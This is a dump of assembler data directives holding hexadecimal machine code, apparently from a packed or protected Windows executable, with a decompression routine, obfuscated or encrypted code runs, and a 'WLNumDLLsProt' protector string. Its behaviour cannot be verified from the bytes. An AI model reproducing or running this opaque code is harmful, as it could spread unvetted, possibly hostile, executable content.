		dd 0E44300BDh, 850F0007h, 1, 0BD8B57C3h, 7E442FCh, 0FC8583ABh
		dd 407E442h, 0BD83C35Fh, 7E44300h, 1850F00h, 0C3000000h
		dd 0FCAD8360h, 407E442h, 42FC9D8Bh, 7B8307E4h, 850FFFFCh
		dd 1Dh,	1A3F3168h, 24348101h, 11ABF31h,	33FF006Ah, 42F495FFh
		dd 0C36107E4h, 1DE9h, 0F9D46800h, 34810494h, 9479D424h
		dd 0FF006A04h, 0F495FF33h, 8307E442h, 0E442FCADh, 0B1E90407h
		dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
		dd 46068A80h, 0BB470788h, 2, 850FD202h,	5, 1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 0C26CD903h
		dd 0ADE14B36h, 5C8B9782h, 971CBED6h, 0B5D308B9h, 0F874504Dh
		dd 7A314728h, 9AFEC71h,	0CF6CFF5Eh, 0A5ED093Dh,	0FD98090h
		dd 0D21BACC7h, 0D6BC43B6h, 0EC7E5A3Dh, 283D4635h, 0FADEC71h
		dd 0CF6CFC51h, 0B8F20927h, 11D99F8Ah, 0C500B2DBh, 0B5D74DA2h
		dd 0E8691609h, 7A705735h, 0FB8A270h, 0D66CEA45h, 0B8F34621h
		dd 0D79F84h, 63h dup(0)
		dd 0CB6CD903h, 0BEFD473Ch, 0CD9808Ah, 0C508B0CCh, 0B39600BAh
		dd 0EF3B450Ch, 287F4623h, 0EB4ED62h, 0D33EB854h, 0A4FD473Dh
		dd 1290D282h, 0C200A69Eh, 0A2C54DA9h, 0E07E421Eh, 581C2968h
		dd 13A0E768h, 0D36CB455h, 0ABFB453Dh, 890D281h,	0D81DB99Eh
		dd 0BEDB4DB6h, 0F4695900h, 6C7F4266h, 13A4F024h, 0D23EF944h
		dd 0BFFB5073h, 0E89D297h, 0D61DB8D1h, 43B6h, 48h dup(0)
		dd 0C56CD903h, 0A1F74821h, 0FDE8080h, 0D800AB9Eh, 0BADE4DB7h
		dd 0E879161Eh, 6E314D23h, 4AFF76Bh, 0C839EA10h,	0ADFA403Dh
		dd 5C979BC5h, 0C51AB0C7h, 0A8CF1EFBh, 0A3765319h, 64412E4Ch
		dd 5B2E361h, 0C839B81Ch, 0AEF5463Fh, 5C8D9BC5h,	0DA00ADD8h
		dd 0B6D300FBh, 0AD624402h, 28754D27h, 14B2E776h, 8638EA51h
		dd 0B8E1462Ah, 138B82C5h, 0DA0EADD9h, 0F5h, 61h	dup(0)
		dd 0CA25DE03h, 0A5F70936h, 0C8C8097h, 960BBACAh, 0B3E24DF5h
		dd 0FD3B4504h, 7A764C34h, 8E1EF65h, 0C46CEB51h,	0EAFA4C36h
		dd 15979388h, 0D603AACEh, 0FBD208AFh, 0AD7F580Ch, 6A68422Bh
		dd 9CC8861h, 863FBF44h,	0AFF2473Ah, 189C8686h, 9716BD9Eh
		dd 0B2E04DBAh, 0AD68431Fh, 6B315129h, 0BA2E376h, 8662FC55h
		dd 0B9FD4107h, 109094C5h, 0D818FFDBh, 0FBC24AB5h, 0E669591Ah
		dd 717F4266h, 5B3ED69h,	1Eh, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2B34h, 12B1EA81h, 9FC659Fh, 0E42B6195h
		dd 8BC08B07h, 0E40B1D9Dh, 0F1BD8307h, 7E413h, 0BD830975h
		dd 7E40935h, 50137400h,	0B8C08B53h, 1, 0E8929D8Dh, 0D3FF07E6h
		dd 0BD83585Bh, 7E40935h, 50117400h, 1B853h, 9D8D0000h
		dd 7E6E743h, 585BD3FFh,	20399D23h, 0BD0107E4h, 7E42629h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0CF3280C3h, 0FB95F014h, 0C38166DEh, 0BD838363h
		dd 7E40ECDh, 0FA840F00h, 66000000h, 0BD83DA8Bh,	7E41CDDh
		dd 0EA840F00h, 66000000h, 0EEAED381h, 95852960h, 8B07E41Fh
		dd 0E41CDD85h, 0E805F507h, 89000003h, 0E40D9995h, 66609007h
		dd 61CD37BAh, 0BE950h, 0EBA80000h, 0E72B1B69h, 53BCFF0Ch
		dd 958B9046h, 7E41625h,	4FC3858Dh, 0F48A07E4h, 575390F5h
		dd 5A5AFE8Ah, 90FA8A50h, 198C0Fh, 14E90000h, 0FD000000h
		dd 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh, 8B33D67Dh
		dd 0A1858DD1h, 0BB07E44Fh, 1056CC38h, 10E990h, 31A10000h
		dd 34B337D4h, 868B697Bh, 18D86B27h, 0B750E8F5h,	0BA669089h
		dd 95FF395Dh, 7E42169h,	0C483D78Bh, 4195290Ch, 8D07E418h
		dd 0E44FA185h, 459D8B07h, 5007E40Fh, 800F5250h,	6, 880Fh
		dd 310F0000h, 585ADF8Bh, 6A240489h, 68E0F02h, 89000000h
		dd 0E41FED8Dh, 1495FF07h, 0FC006AEDh, 0FB75761h, 0D485C75Bh
		dd 107E44Fh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0E5CBC353h,	3B0884C3h
		dd 8A0F7F35h, 2, 830F66B7h, 6, 2ED9958Bh, 579607E4h, 0AE960h
		dd 5EA40000h, 578C159Ah, 0DB13866Fh, 8B505A61h,	6A96D3h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B62B3CC3h, 16A50C35h, 12E9h, 0A56F8C00h, 0FEA14E57h
		dd 4C68524Fh, 4E647691h, 3134150h, 0E4275595h, 85B58907h
		dd 0F07E44Fh, 58Eh, 0E9A5BA00h,	0BD8349AAh, 7E42015h, 68850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 77D4C355h, 1881958Bh, 0BA6607E4h
		dd 0F8838761h, 38850F05h, 8B000000h, 0B8D1h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 79C1B7C3h, 0F4DA1608h, 89D590CAh, 0E426899Dh, 9D850907h
		dd 8307E42Fh, 0E40AC5BDh, 840F0007h, 94h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 23C35747h, 6A608D83h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 9E50C351h, 4CBF60h, 0BD892CBDh, 7E405D5h
		dd 0C595FF61h, 6A07E40Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 60AEC350h, 1EB4007h
		dd 12E86173h, 9D000000h, 0B39B1B39h, 27962158h,	0CBEFBBBBh
		dd 0DEF0F7C5h, 67C3805Ch, 952B615Bh, 7E41AADh, 6B9BD83h
		dd 0F0007E4h, 3784h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0F5872D2Ch, 8B529ADDh
		dd 0B8D0h, 9E90000h, 0A8000000h, 0E5617ED9h, 4462B871h
		dd 8B62B260h, 0E41EB585h, 83FD8A07h, 0CA8102C0h, 2DC1918h
		dd 4F7D8589h, 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0CE3528C3h, 188D0Fh, 0CE80000h
		dd 6000000h, 0FF808A05h, 44681A80h, 89B38904h, 0E42C0D9Dh
		dd 0C65A07h, 0DE8FFh, 314C0000h, 77A46C99h, 0B9460AE8h
		dd 0E9D5C0AFh, 0Eh, 0AC3E32A9h,	0A425CCEAh, 82F747CEh
		dd 0C65A1A4Dh, 0E42C2D85h, 958B5307h, 7E40DDDh,	1A121768h
		dd 0A8E0FD2h, 60000000h, 820Fh,	61600000h, 24048161h, 2A9736C1h
		dd 13959D89h, 0B5FF07E4h, 7E42141h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 90C35747h, 0DCB81E6h, 8D72E13Eh
		dd 0E7B0A785h, 88F0F07h, 0F000000h, 280h, 0FF616000h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0E9D98B6Fh, 8, 2EC002BEh, 6329EBE8h,	0E418589h, 0BA6607E4h
		dd 0BD83F55Dh, 7E40B11h, 0F7850F01h, 0B7000000h, 9D8B61A6h
		dd 7E42541h, 2DCD8501h,	85C607E4h, 7E42C2Dh, 65953345h
		dd 8907E41Ch, 0E422359Dh, 4E807h, 38C20000h, 13E8DA60h
		dd 0EE000000h, 0C96407B4h, 1D8B3E4Bh, 0D460E516h, 0B782B194h
		dd 0BB664D6Eh, 505A1AF4h, 5820Fh, 8ABA0000h, 8B2F6218h
		dd 50042444h, 2EBB6652h, 66310FA2h, 5A20CCBAh, 60008B58h
		dd 28F0Fh, 61600000h, 0D774FBB9h, 44896155h, 1CBB0424h
		dd 5802C27Eh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0B5C35040h, 8BB30F6Dh, 41B5FFD7h, 8B07E421h, 0E4229595h
		dd 0A7858D07h, 6A07E7B0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6014C357h, 0AAC98166h
		dd 0B1B589E9h, 6107E413h, 0D0FF41B3h, 6A33D780h, 119D3100h
		dd 0F07E40Ah, 0D0FFD0BFh, 2CC3EB81h, 0BD832EE8h, 7E403C9h
		dd 0E7850F01h, 66000000h, 0E940DA81h, 1EB5858Bh, 10E907E4h
		dd 51000000h, 9035E212h, 23591956h, 2F1BEDDEh, 0E8280E65h
		dd 8, 481247h, 0B0D9C2FAh, 251958Bh, 0E95A07E4h, 90h, 1CF59D8Bh
		dd 505007E4h, 97BA6652h, 8B310FFDh, 89585ADAh, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 86D175C3h, 3D4CB49Dh, 0DA81C76Dh, 25DF612Bh,	0EFAFBB66h
		dd 6A146Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 942C31C3h, 570B97A9h, 0F620BE4h, 481h, 40BA6600h
		dd 4195FF5Ah, 107E40Eh,	0E40B8995h, 8B0F5807h, 6, 20218D31h
		dd 0F1B307E4h, 0F003880h, 0FFFF6D85h, 8D8D89FFh, 0C607E40Eh
		dd 0BD890100h, 7E40FA1h, 35819D8Bh, 0E96107E4h,	12h, 0AA62018h
		dd 2D08B6D4h, 6F18324Bh, 83306511h, 0BD837008h,	7E40069h
		dd 37840F00h, 0E9000000h, 0Dh, 0AD82975Ah, 53A3867Fh, 4CEA2C7Fh
		dd 8C0F1Bh, 6A000000h, 319531FFh, 0FF07E426h, 0E40E4195h
		dd 48D0F07h, 52000000h,	0E95A6160h, 0FFFFFFE3h,	85C7DF8Bh
		dd 7E40069h, 1,	0AEE28166h, 898589BAh, 8B07E44Fh, 665390D6h
		dd 505BD68Bh, 2DBA5250h, 0F1715EBh, 2EBA6631h, 90585A34h
		dd 10E85751h, 78000000h, 4D4D8775h, 7F6C7A8Bh, 59B350Fh
		dd 5BB004CDh, 66605A5Ah, 890283BEh, 0E4258D85h,	8B606107h
		dd 0E4090595h, 7E907h, 773B0000h, 9BD8B4C9h, 6A056A5Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 1E1C352h,	958B5289h, 7E40A8Dh, 0A1858D5Bh
		dd 8B07E44Fh, 0E401C195h, 85958B07h, 5007E414h,	89D98B66h
		dd 8D892404h, 7E40701h,	4F91858Dh, 870F07E4h, 6, 6819D8Bh
		dd 509007E4h, 13E8h, 80489200h,	65C51CDh, 0C127CC0Ch, 33B55D49h
		dd 55846EFCh, 5B5B6160h, 10E850h, 0C5F40000h, 8C77B1Ah
		dd 97F48D04h
		dd 0D02C8DACh, 0BA57782Eh, 51E124D0h, 6A905A5Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C396C356h, 13AD95FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5E7ACDC3h, 8B3D9990h
		dd 0E4272D95h, 0C08D8D07h, 8907E47Ah, 0E41E99B5h, 74C00B07h
		dd 0A1858D11h, 5007E44Fh, 8589D1FFh, 7E44FBFh, 85C70AEBh
		dd 7E44FBFh, 0FFFFFFFFh, 6850Fh, 0B5290000h, 7E42E05h
		dd 0E98D0961h, 0C607E431h, 0E42C2D85h, 8D294D07h, 7E41BADh
		dd 35BBC068h, 81DE8B27h, 0BAE82404h, 9D8B7CFFh,	7E40B1Dh
		dd 0E432BB66h, 1D89B5FFh, 810F07E4h, 1,	0A7858DF5h, 5607E7B0h
		dd 12C18589h, 8B5A07E4h, 0BAD0FFDFh, 46AE3D13h,	21618589h
		dd 950B07E4h, 7E421DDh,	2C2D85C6h, 6A4507E4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 23CCC355h, 9D950B23h, 6807E41Bh, 0CC444797h,	5890Fh
		dd 0C4BA0000h, 814B1C26h, 2EFE2434h, 0EA814236h, 60AA13CBh
		dd 2141B5FFh, 958907E4h, 7E42451h, 0B0A7858Dh, 0BB6607E7h
		dd 0D0FF8321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	35C35141h, 63540764h, 958BF9C0h, 7E40595h, 8589F78Ah
		dd 7E41665h, 25F38166h,	6AD28BFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B34C350h
		dd 0E40E3D9Dh, 0D98C6607h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0A3C35040h, 0E8AE7EFCh, 0Fh, 0FE6426C0h
		dd 0B217D114h, 0D092D63Ah, 0F0A0A54h, 68Fh, 0DDB52900h
		dd 5B07E42Bh, 0F04C1F6h, 25484h, 85316000h, 7E40065h, 0A44DCB81h
		dd 0E9611881h, 12Ch, 38A0Fh, 8B660000h,	39B58BD9h, 6A07E42Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1346C352h, 662B0B9Bh, 81ABC381h, 5840Fh
		dd 81660000h, 81B7D5DAh, 1180C6h, 0E9535000h, 5, 412A9947h
		dd 0E95A5AA5h, 7, 92B60ECBh, 83FC63F0h,	0E4038DBDh, 850F0007h
		dd 0Eh,	0E9DBE280h, 9Ch, 15AD9D8Bh, 3E8307E4h, 8D840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D2F1C350h, 0DFB34198h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0AEBA66A0h, 0BB146AE2h, 4A1528DAh, 0E4195FFh, 896007E4h
		dd 0E4218D8Dh, 61BD8B07h, 6107E41Dh, 259FBB66h,	56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 95CCBAAAh, 0D919D8Bh, 6BE907E4h, 0FCFFFFFFh,	106C7h
		dd 850F0000h, 0Eh, 5D958B60h, 0F07E416h, 8Bh, 0DC8A6100h
		dd 4F89BD83h, 0F0507E4h, 10885h, 699D8B00h, 8B07E414h
		dd 0E41665B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E6104E24h, 7D9D2BC1h
		dd 0F07E423h, 64B9D2B7h, 8B000000h, 0E42BE59Dh,	0E83E8007h
		dd 49840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9523C3C3h, 7E426B9h, 2DE9DE8Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D937C352h, 8019D413h,	0FC2057Eh
		dd 6084h, 0DEB70F00h, 5890F46h,	0BA000000h, 427D6C58h
		dd 8E850F49h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4B6EC350h, 0BF0F6E85h
		dd 8B6651D2h, 0EE85BD3h, 0AD000000h, 0C4E6894h,	99F4FF14h
		dd 795056C9h, 1870F29h,	0FC000000h, 0FE95Ah, 0B70F0000h
		dd 71B589DEh, 8907E435h, 0E414E9BDh, 9D035807h,	7E41519h
		dd 0DB5BD83h, 0F0007E4h, 9684h,	8800F00h, 56000000h, 209D9589h
		dd 605A07E4h, 89B6CE80h, 0E405258Dh, 2D85C607h,	5407E42Ch
		dd 6860Fh, 0F2810000h, 4AD0EC3Fh, 0E429A768h, 4359BB81h
		dd 48109FAh, 6A954D24h,	8D8D897Dh, 0FF07E421h, 0E42141B5h
		dd 6D858907h, 8D07E422h, 0E7B0A785h, 7D9D0307h,	0FF07E420h
		dd 0D19529D0h, 6A07E404h, 12E900h, 9F8C0000h, 937E7B53h
		dd 412C6C41h, 6491CA57h, 0AE2369A3h, 0DB5B5FFh,	0BD8907E4h
		dd 7E42F7Dh, 9501D0FFh,	7E413B1h, 2DBD0961h, 0C707E416h
		dd 0E4061185h, 107h, 3D958900h,	0F07E431h, 0F60D2B7h, 0E068D0BFh
		dd 669F646Ah, 817CF2BAh, 95A02404h, 0B70F609Bh,	0E9FF6AD7h
		dd 7, 3107F7B2h, 0FF355042h, 0E4160195h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 2961CFD9h, 0E40F7595h, 0BB665007h, 4897E54h,	1D958B24h
		dd 8B07E40Ah, 0E415A985h, 6DBB6607h, 0FC00BB1h,	3B84h
		dd 8E900h, 0C5590000h, 39FD1F6Dh, 95FF543Bh, 7E40049h
		dd 35958B60h, 0E807E42Bh, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh
		dd 0E9C702EFh, 0A9010129h, 2918589h, 615A07E4h,	141185C7h
		dd 107E4h, 0BE80000h, 0FE000000h, 283E9696h, 28D71151h
		dd 8C0FD8A0h, 2, 835ADE8Bh, 0E43231BDh,	840F0007h, 1Ah
		dd 3890Fh, 0BF0F0000h, 0F19D23DBh, 0FF07E417h, 0E40B1995h
		dd 0E2816607h, 0BD83B69Eh, 7E419B9h, 0F840F00h,	0BA000000h
		dd 739D36F6h, 0D6195FFh, 0BA6607E4h, 0BD830909h, 7E42519h
		dd 42840F00h, 0F000000h, 0BD83DABFh, 7E43345h, 32850F00h
		dd 66000000h, 0FFD583BAh, 0E4224995h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 5BC25CEDh, 339884D3h, 0DF80B4D1h, 0A9BD8316h, 7E407h
		dd 40840Fh, 0FD8A0000h,	14798581h, 400307E4h, 0DF800000h
		dd 0ED8581B5h, 307E40Eh, 6A000040h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 34C9C353h
		dd 31513109h, 0E40AF9B5h, 310F5B07h, 2A69952Bh,	8D8D07E4h
		dd 7E45E49h, 0C8C0Fh, 860F0000h, 6, 850Fh, 1890000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0ED694517h
		dd 89D2B02Ch, 0E42BD9BDh, 57C23307h, 5ADA8B66h,	66044189h
		dd 0A7E9D381h, 6A310Fh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8E948C3h, 0DB000000h, 0A39D2FE3h
		dd 8DB45870h, 0E45E568Dh, 0B99D8907h, 8907E403h, 0C2816601h
		dd 0BB665266h, 0C2333E7Ah, 44189F9h, 14F3CA81h,	0BD832562h
		dd 7E421CDh, 1B840F00h,	0FF000000h, 0E4180195h,	0AE907h
		dd 2E8E0000h, 8D28BA4Eh, 4AD57650h, 0D7D8509h, 0BD8307E4h
		dd 7E41DF1h, 77850F01h,	9000000h, 0E41C4D85h, 6CE907h
		dd 8BF90000h, 0E45F6AB5h, 6C707h, 8B000000h, 0E45DA8B5h
		dd 6C707h, 0CF000000h, 6ADABF0Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1357C357h
		dd 1F7E4FDAh, 7D9D31C4h, 0E807E401h, 5,	27915FC9h, 10E8CCh
		dd 0EFE40000h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0C28117BFh
		dd 7B660292h
		dd 0BD835B5Bh, 7E41411h, 9D840F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7698C357h, 17D5958Bh, 4EB207E4h, 1C81BD83h, 0F0107E4h
		dd 15885h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 950B0339h, 7E4356Dh, 8D8BB1B7h, 7E44F7Dh
		dd 6870Fh, 9D310000h, 7E419C5h,	6A0001C6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9351C350h
		dd 65B58922h, 6007E403h, 6E8h, 665D0000h, 8BB96606h, 0E40A299Dh
		dd 8B665B07h, 0A2C68D1h, 52506815h, 0D287E3BAh,	66310F01h
		dd 5A4505BAh, 24348158h, 68150AACh, 6ADABF0Fh, 0E1B529FFh
		dd 0FF07E429h, 0E4160195h, 34E2BA07h, 95316A8Bh, 7E40229h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 92A377C5h, 958BCDFBh, 7E40749h, 6850Fh
		dd 85310000h, 7E41C7Dh,	300595FFh, 6A07E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 398CF7C3h
		dd 7E30CA14h, 8166607Ah, 895529D3h, 0E400F985h,	0F2816107h
		dd 527B5D38h, 4F7D8D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0A0AE7BC3h, 78F6BFAEh
		dd 6810FD6h, 8B000000h,	0E423759Dh, 8101FE07h, 2FEB56F2h
		dd 0C9BD8313h, 107E419h, 6850Fh, 9D2B0000h, 7E420F5h, 27B6C08Bh
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501A74h
		dd 858BC08Bh, 7E41479h,	14798589h, 9D8D07E4h, 7E6E9F0h
		dd 585BD3FFh, 935BD83h,	740007E4h, 8B535018h, 0E4147985h
		dd 79858907h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h,	0C88EBB58h
		dd 0B70F6881h, 0E9C08BDBh, 0Fh,	1B0E560Fh, 24481636h, 7A31AF90h
		dd 83C073AAh, 0E41411BDh, 850F0007h, 29h, 0DE9h, 8D2A7D00h
		dd 8B72BFCAh, 0F2626671h, 0BD83DC3Fh, 7E40B95h,	0A840F00h
		dd 8B000000h, 0E40A799Dh, 8ABB6607h, 11BD8362h,	7E414h
		dd 3B840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E91FD6C3h, 6, 0C07BAD86h, 0BD8378A1h
		dd 7E40399h, 6840F00h, 29000000h, 0E4242DBDh, 11BD8307h
		dd 7E414h, 1C840Fh, 958B0000h, 7E400C1h, 399BD83h, 0F0007E4h
		dd 984h, 0D3BF0F00h, 0EFD9D8Bh,	0BD8307E4h, 7E41411h, 1C840F00h
		dd 0F000000h, 388h, 0BAE38000h,	1855BD83h, 0F0007E4h, 684h
		dd 49958B00h, 8307E407h, 0E41411BDh, 840F0007h,	23h, 83DFBF0Fh
		dd 0E426A9BDh, 840F0007h, 13h, 5C4DBE60h, 0FF610236h, 0E4181995h
		dd 5CDA8107h, 8B5E8BE3h, 0D38B66C0h, 13F1BD83h,	750007E4h
		dd 35BD8309h, 7E409h, 53501A74h, 858BC08Bh, 7E40EEDh, 0EED8589h
		dd 9D8D07E4h, 7E6EA57h,	585BD3FFh, 935BD83h, 740007E4h
		dd 8B535018h, 0E40EED85h, 0ED858907h, 8D07E40Eh, 0E6E6F89Dh
		dd 5BD3FF07h, 258D8958h, 6A07E416h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 7EC353h
		dd 0FEF9810h, 282h, 8BF08A00h, 1393BAC0h, 8B60542Eh, 0E4061D95h
		dd 61585107h, 1411BD83h, 0F0007E4h, 4D784h, 31958900h
		dd 8307E42Ch, 0E40B11BDh, 840F0207h, 64h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 28C35242h, 0C641AD04h
		dd 0C1BAF195h, 8976B6E6h, 0E4021985h, 0F1BD8307h, 107E41Dh
		dd 2A850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 90F9F6C3h, 0C9C848EAh, 958B0E37h
		dd 7E4042Dh, 0D99D8B60h, 8B07E415h, 0E44F7D8Dh,	0BE907h
		dd 0E3760000h, 0B49EB158h, 0A17877h, 65B5091Dh,	0FE07E41Eh
		dd 56006A01h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FA2ABB2h, 68Ch,	3DBD0900h, 0E807E40Bh
		dd 4, 80h, 4850F50h, 66000000h,	8B2737BAh, 0F042444h, 148Eh
		dd 7E86000h, 65000000h,	0E49AD743h, 0B95F13ECh,	1B0C5CA9h
		dd 0B7008B61h, 244489F6h, 48D0F04h, 66000000h, 584BCBBAh
		dd 895958Bh, 0FF6A07E4h, 13C5BD89h, 95FF07E4h, 7E41601h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h
		dd 0D5FD63FFh, 0BD1B2B0Fh, 0EC20BA61h, 71BB74EAh, 8D12C36Dh
		dd 0E402E5BDh, 0D99D8B07h, 8B07E415h, 6A1C4Fh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 629F15C3h, 8B48D731h, 0E426899Dh, 6A016A07h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0DF7AC355h, 70F26DD6h, 8B8C3BD1h, 0C880FD0h,	0F000000h
		dd 68Ah, 719D8900h, 8907E423h, 0E42D01B5h, 0D48A5007h
		dd 6A240C89h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 119DC351h, 0ECCE3BABh,	0A07B4D3Dh
		dd 2441BD89h, 0DE907E4h, 0DD000000h, 10EFBA9Fh,	132D0011h
		dd 2CA3EA8h, 7026858Dh,	890F07E7h, 6, 0F1F9DA81h, 0D0FF18D6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h
		dd 0FBF5BD72h, 3D55D381h, 0B5890C8Bh, 7E42045h,	0E9204F8Bh
		dd 0Dh,	401DA51Dh, 6F0DF8A1h, 68ADB7Ch,	80036A92h, 0B350AAE2h
		dd 240C89D8h, 18D18501h, 858D07E4h, 7E77026h, 10E8h, 55062700h
		dd 65273009h, 8CB0A6F6h, 9E7F7560h, 5E9BAh, 42D00000h
		dd 5B2C04F9h, 0FFDAB70Fh, 198B0FD0h, 0E8000000h, 0Dh, 3080B518h
		dd 0C6AD3314h, 0D51B4309h, 0A58D091Dh, 5A07E405h, 2E5BD8Dh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0AA2D61C3h, 0F05199ECh, 0B589D5A8h, 7E41AC1h
		dd 0F1C4F8Bh, 16AD3B7h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A4C35141h, 0B2E280D0h, 0C94BB50h, 0C891B48h
		dd 75850924h, 8D07E42Fh, 0E7702685h, 0B5953307h, 0FF07E418h
